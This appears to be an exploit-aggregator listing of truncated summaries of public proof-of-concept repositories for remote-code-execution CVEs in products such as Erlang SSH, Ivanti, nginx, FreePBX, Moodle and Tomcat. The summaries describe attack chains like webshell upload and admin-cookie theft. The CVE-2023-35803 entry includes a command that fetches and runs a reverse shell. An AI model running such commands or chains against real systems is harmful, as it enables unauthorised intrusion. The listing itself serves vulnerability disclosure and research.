CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC 该漏洞允许具有网络访问权限的攻击者在无需事先认证的情况下，对 Erlang/OTP SSH 服务器执行任意代码。 描述 已在 Erlang/OTP SSH 服务器中发现一个严重漏洞，可能允许攻击者执行未经认证的远程代码执行（RCE）。通过利用 SSH 协议消息处理中的缺陷，恶意行为者可在没有有效凭据的情况下获得对受影响系统的未授权访问并执行任意命令。这可能导致目标主机被攻陷，使第三方能够未经授权访问和操纵敏感数据，或发起拒绝服务攻击。 受影响版本 root@kitploit: OTP-27.3.2 and...

iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201

CVE-2025-31200 & CVE-2025-31201 | iMessage 零点击 RCE 利用链 摘要 本仓库记录了针对 iOS 18.x 及更高版本系统的零点击远程利用链研究。通过 iMessage 投递的畸形 AMR 音频文件可触发： 1. CoreAudio 中的堆破坏（CVE-2025-31200） —— 在 AudioConverterService AMR 12.2 解码过程中，通过跨越有效 FT=7 帧嵌入的非法比特流参数实现。 2. 通过 AppleBCMWLAN/AMPDU 处理实现内核提权（CVE-2025-31201） —— RPAC...

CVE-2025-22457

CVE-2025-22457 CVE-2025-22457：用于检测 Ivanti Connect Secure RCE 的 Python 漏洞利用 POC 扫描器 此脚本可帮助识别可能受 CVE-2025-22457 影响的 Ivanti Connect Secure、Policy Secure 或 ZTA 网关。该漏洞是 Web 进程中一个严重的未经身份验证的基于栈的缓冲区溢出，可通过精心构造的 X-Forwarded-For 头触发。该脚本还可通过从 HTTP 响应中抓取版本信息来识别远程目标的版本。 受早期构建 Nuclei 模板 的工作启发，此脚本的创建源于发现 Nuclei...

follina

follina POC 关于 CVE-2022-30190（又名 follina）的全部内容，这是一个影响 Microsoft Support Diagnostic Tools MSDT 在 Office 应用（如 Word）上的 RCE 漏洞。这是一个非常简单的 POC，欢迎查看下面的来源以获取更多威胁情报。 用法 root@kitploit: usage: follina.py -h --command COMMAND --ip IP --port PORT --output OUTPUT --reverse REVERSE POC for CVE-2022-30190, aka...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc A proof-of-concept exploiting an unauthenticated remote code execution via the admin panel's PHP console feature in MajorDomo Major Domestic Module. Vulnerability MajorDoMo's admin panel exposes a PHP evaluation console via /admin.php. Due to a missing exit after an...

CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive 无线接入点中的未认证 RCE 漏洞 针对运行 HiveOS/IQ Engine "curl :8000/revshell|sh" 分析文章见此处：https://research.aurainfosec.io/pentest/bee-yond-capacity/...

PoC-CVE-2025-26529

CVE-2025-26529的PoC – Moodle XSS到RCE利用 这是一个Proof of Concept PoC，演示了Moodle中从SSRF到XSS再到RCE的漏洞链。 概述 我已经上传了所有必要的文件来演示完整的利用链： 1. SSRF到XSS 2. 获取管理员cookie 3. 使用管理员cookie在Moodle中实现远程代码执行RCE 已在Moodle版本4.4.5 Build: 20241209上测试。 重要说明 在继续之前，请务必仔细检查文件 。您需要修改一些元素，比如您的IP地址 。 PoC视频 为了逐步讲解，我还上传了一个视频演示该利用：...

coldfusion-10-11-xss

ColdFusion 10.x 11.x XSS → RCE PoC 漏洞利用 该仓库包含针对 CVE-2015-0345 APSB15-07 的 XSS 向量，允许在 ColdFusion 安装上获取远程命令执行权限。 此漏洞仅适用于 ColdFusion 10 和 11 安装。具体来说，ColdFusion 11 Update 11 和 ColdFusion 10 Update 16 修复了这两个问题。有关此披露的更多信息，请参见此处。 Payload 1 此 payload 会禁用 ColdFusion 管理面板的密码要求。如果由 ColdFusion 管理员交付并运行，则...

CVE-2020-35728

Descripción FasterXML jackson-databind 2.x anterior a 2.9.10.8 maneja incorrectamente la interacción entre gadgets de serialización y tipado, relacionado con com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool también conocido como Xalan embebido en...

CVE-2022-20699

CVE-2022-20699 🎧 Presentado por Audiobahn Cisco Anyconnect VPN RCE no autenticado pila rwx no está bien verificado...

CVE-2019-11539

CVE-2019-11539 原始发现者：Orange Tsai, Meh Chang 作者：Justin Wagner, Alyssa Herrera 致谢：Orange, Meh Chang, Rich Warren, Alyssa, Mimir 漏洞描述 在 Pulse Secure Pulse Connect Secure 版本 9.0RX（9.0R3.4 之前）、8.3RX（8.3R7.1 之前）、8.2RX（8.2R12.1 之前）和 8.1RX（8.1R15.1 之前），以及 Pulse Policy Secure 版本 9.0RX（9.0R3.2...

phuip-fpizdam

PHuiP-FPizdaM 这是什么 这是 php-fpm 中一个漏洞（CVE-2019-11043）的利用程序。在某些 nginx + php-fpm 配置下，该漏洞可从外部触发。这意味着如果你的配置存在风险（参见下方），则 Web 用户可能获得代码执行权限。 技术分析 虽然我们懒得写分析文章，但 Orange Tsai 在他的博客中发布了一篇完美的分析。向他致敬。 另外，我在 ZeroNights 2019 的幻灯片在此提供。 什么情况会受影响 如果 Web 服务器运行 nginx + php-fpm，并且 nginx 的配置类似于： root@kitploit: location...

CVE-2026-42945-nginx-rift-poc

NGINX Rift — CVE-2026-42945 针对 CVE-2026-42945 的 RCE 概念验证，这是一个 NGINX 的 ngxhttprewritemodule 中自 2008 年引入的严重堆缓冲区溢出漏洞。可在使用 rewrite ... ?... + set 捕获组合的服务器上实现未经认证的远程代码执行。 原始漏洞披露：depthfirst —— 与 CVE-2026-42946、CVE-2026-40701、CVE-2026-42934 一同通过其自主源代码审计系统发现。 布局 root@kitploit: poc-CVE-2026-42945/ ├──...

Scanner_CVE_OpenSSH

Scanner for identifying servers with SSH software possibly vulnerable to CVEs CVE-2024-6387 and CVE-2023-48795. Covered CVEs CVE| Name| Condition| Severity ---|---|---|--- CVE-2024-6387| regreSSHion| OpenSSH 9.8p1| CRITICAL CVE-2023-48795| Terrapin| OpenSSH 9.6| HIGH CVE-2024-6387 — regreSSHion...

CVE-2025-57819-FreePBX-RCE2Root

CVE-2025-57819 — FreePBX SQLi → RCE → Root 完整利用链PoC，针对CVE-2025-57819。FreePBX的endpoint模块中存在未认证的基于错误的SQL注入，通过cron任务注入和incron权限提升，最终获得root shell。 仅供授权测试与研究使用。请勿用于非自己拥有的系统。 功能说明 root@kitploit: SQLi EXTRACTVALUE → 插入cron任务 → 写入webshell → incron触发 → root shell 1. 通过在 /admin/ajax.php 上进行基于错误的注入，提取数据库信息 ...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments 远程代码执行（RCE） 通过查询字符串参数进行 Windows 批处理脚本注入 描述 当 Apache Tomcat 启用 CGI servlet 且设置 enableCmdLineArguments=true 时，会将查询字符串参数作为命令行参数传递给 CGI 脚本。在 Windows 上，批处理文件（.bat/.cmd）会将 & 解释为命令分隔符，从而允许通过精心构造的 URL 执行任意命令。 前提条件 已在 conf/web.xml 或...

CVE-2026-69836-EXP

CVE-2026-69836 Entra ID 未认证 RCE 概念验证 概述 CVE-2026-69836 是 Microsoft Entra ID 中存在的一个严重未认证远程代码执行漏洞，源于对不可信数据的反序列化不当（CWE-502）。该漏洞允许攻击者在无需身份认证、用户交互或特殊权限的情况下通过网络执行任意代码。本 PoC 演示了一种在已修补环境中实现完整 RCE 的利用方式，可导致身份数据被完全攻陷、令牌遭窃取、权限被提升，并可在 Microsoft 365、Azure 及连接的 SaaS 应用中进行横向移动。 受影响版本 受 CVE-2026-69836 影响的...

CVE-2025-52691-poc

CVE-2025-52691 POC CVE-2025-52691 概念验证 - SmarterMail 未认证任意文件上传导致远程代码执行 ⚠️ 免责声明 仅用于授权的安全测试和教育目的。 未经授权的访问是违法的。 概述 SmarterMail 中的严重漏洞，允许未经认证的攻击者通过路径遍历上传任意文件，从而导致远程代码执行。 漏洞： 上传端点中的路径遍历允许将 ASPX 网页后门上传到 web 根目录 影响： 未认证远程代码执行 攻击向量： 网络/未认证 安装 root@kitploit: git clone...

R2SAE

R2SAE - React2Shell 自动利用工具 用于检测和利用 CVE-2025-55182 的 Firefox 扩展 React Server Actions 中的原型污染漏洞 功能特性 • 安装 • 使用 • 免责声明 ⚠️ 免责声明 本工具仅用于授权安全测试。 未经授权访问计算机系统属于违法行为。仅可在您拥有或获得明确书面许可的系统上使用本工具。作者不对任何滥用行为负责。 🎯 概述 R2SAE（React2Shell 自动利用工具）是一个 Firefox 浏览器扩展，用于自动检测和利用 CVE-2025-55182 ——Next.js React Server Actions...

DotCMS - Arbitrary File Upload

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. id: CVE-2022-26352 info: name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical description: DotCM...